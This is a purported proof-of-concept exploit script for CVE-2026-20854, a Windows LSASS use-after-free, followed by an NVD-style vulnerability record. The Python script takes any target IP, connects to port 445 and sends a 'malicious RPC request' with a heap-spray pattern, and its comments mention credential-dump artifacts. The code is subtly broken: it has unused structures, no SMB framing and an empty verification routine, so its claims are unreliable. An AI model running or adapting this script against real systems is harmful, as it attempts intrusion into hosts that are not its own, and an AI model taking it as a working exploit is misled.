CVE-2026-20854

''' CVE-2026-20854 - Windows LSASS Use-After-Free PoC Note: This is a conceptual PoC for educational purposes only. Author: Security Researcher Reference: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20854 ''' import struct import socket import sys from ctypes import * # Windows API structures class LSA_UNICODE_STRING(Structure): _fields_ = [ ('Length', c_ushort), ('MaximumLength', c_ushort), ('Buffer', c_void_p) ] class SECURITY_PACKAGE_OPTIONS(Structure): _fields_ = [ ('Version', c_ulong), ('Type', c_ulong), ('Size', c_ulong), ('Flags', c_ulong) ] def trigger_lsass_uaf(target_ip, port=445): ''' Trigger LSASS Use-After-Free condition via SMB/RPC This PoC demonstrates the attack concept by sending malformed RPC requests ''' print(f'[*] Target: {target_ip}') print(f'[*] Attempting to trigger CVE-2026-20854...') # Construct malicious RPC binding request rpc_request = b'\x05\x00\x0b\x03\x10\x00\x00\x00' rpc_request += b'\x00\x00\x00\x00\x01\x00\x00\x00' # Trigger object allocation and premature freeing trigger_payload = b'\x00' * 1024 # Padding trigger_payload += b'\x41' * 128 # Heap spray pattern rpc_request += trigger_payload try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, port)) print('[+] Sending malicious RPC request...') sock.send(rpc_request) response = sock.recv(4096) if response: print('[!] Response received - possible UAF condition triggered') sock.close() return True except Exception as e: print(f'[-] Error: {str(e)}') return False def verify_uaf_exploitation(): ''' Verify if UAF was successfully exploited Check for abnormal LSASS behavior ''' print('[*] Verifying exploitation results...') # In real scenario, would check for: # - LSASS process crash (event ID 1000) # - Unexpected DLL loading # - Credential dump artifacts pass if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip>') sys.exit(1) target = sys.argv[1] trigger_lsass_uaf(target)

{"cve": {"id": "CVE-2026-20854", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:14.153", "lastModified": "2026-01-15T13:27:10.630", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Windows Local Security Authority Subsystem Service (LSASS) allows an authorized attacker to execute code over a network."}, {"lang": "es", "value": "Uso después de liberar en el Servicio de Subsistema de Autoridad de Seguridad Local de Windows (LSASS) permite a un atacante autorizado ejecutar código a través de una red."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20854", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}